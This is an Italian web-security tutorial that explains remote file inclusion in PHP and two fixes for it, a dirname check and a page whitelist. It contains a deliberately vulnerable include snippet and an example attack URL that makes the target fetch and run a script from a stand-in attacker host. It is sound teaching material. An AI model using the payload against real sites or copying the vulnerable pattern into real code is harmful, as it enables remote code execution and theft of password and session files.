Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Sugli include dinamici (via GET o POST)

Le problematiche di sicurezza nelle inclusioni dinamiche di codice o file
Le problematiche di sicurezza nelle inclusioni dinamiche di codice o file
Link copiato negli appunti

Introduzione

Si abbia uno script test.php, sul Web server di http://dummy_site.com, poniamo all'indirizzo: http://dummy_site.com/test.php.

<?
if (isset($_GET['include_script'])) include($_GET['include_script']);
// altro_codice;
?>

test.php include un file in modo dinamico, sulla base di quanto ricevuto via query string. Ricevendo in GET, ad esempio: ?include_script=dummy_script.php, quest'ultimo script viene incluso dinamicamente all'interno dello script principale test.php.

Sicuramente non rientra nelle intenzioni del programmatore l'eventualità che possa venir incluso un file remoto. Nelle intenzioni del cracker invece sì

Ecco come. Poniamo che il cracker prepari uno script, residente sul suo sito, del tipo http://hacker_site.com/evil_script come di seguito:

<?
echo "Inclusione dannosa riuscita.";
// altre istruzioni dannose;
?>

Se la direttiva allow_url_fopen del php.ini di dummy_site è abilitata, il cracker, inserendo da browser l'indirizzo:

http://dummy_site.com/test.php?include_script=http%3A%2F%2Fhacker_site.com%2Fevil_script

può facilmente eseguire il codice di evil_script su dummy_site.com. E prevedibilmente la fantasia dell'cracker sarà ben diversa dalla mia in quanto ad istruzioni eseguite. Ad esempio lo script potrebbe cercare e di seguito visualizzare file contenenti password del sistema ospite. O perché non i file di sessione? E così via.

Un'annotazione: la direttiva allow_url_fopen abilita i wrapper URL per fopen(), in modo da poter accedere agli oggetti URL come file. Essa è abilitata di default.

Possibile rimedio

Nel caso ci si aspetti che il file da includere (ad esempio dummy_script.php) sia nella stessa cartella di test.php, è semplicemente necessario un controllo sulla cartella stessa, in fase di inclusione:

if (isset($_GET['include_script']) && dirname($_GET['include_script'])==".")
  {
  include($_GET['include_script']);
  }

È molto difficile, infatti, per il cracker riuscire a salvare un file nella directory virtuale di un server da remoto, se non in possesso dei relativi permessi. O in presenza di immensi buchi.

Oppure ancora, altro metodo, è sufficiente inserire tutte le pagine che intendiamo successivamente richiamare in un array ed in seguito verificarne la corrispondenza con la variabile in GET: se in GET è indicata una pagina non presente nell'array, essa non verrà inclusa. Questo secondo metodo scongiura una possibile vulnerabilità del primo: immaginiamo che include_script sia proprio test.php stesso: in teoria si scatenerebbe un processo di inclusione ricorsiva causando un DoS (Denial of Service) del Web server.

Rimane da sottolineare come gli include statici, del tipo: include("mio_file.php") non nascondono ovviamente alcun tipo di vulnerabilità.

Ti consigliamo anche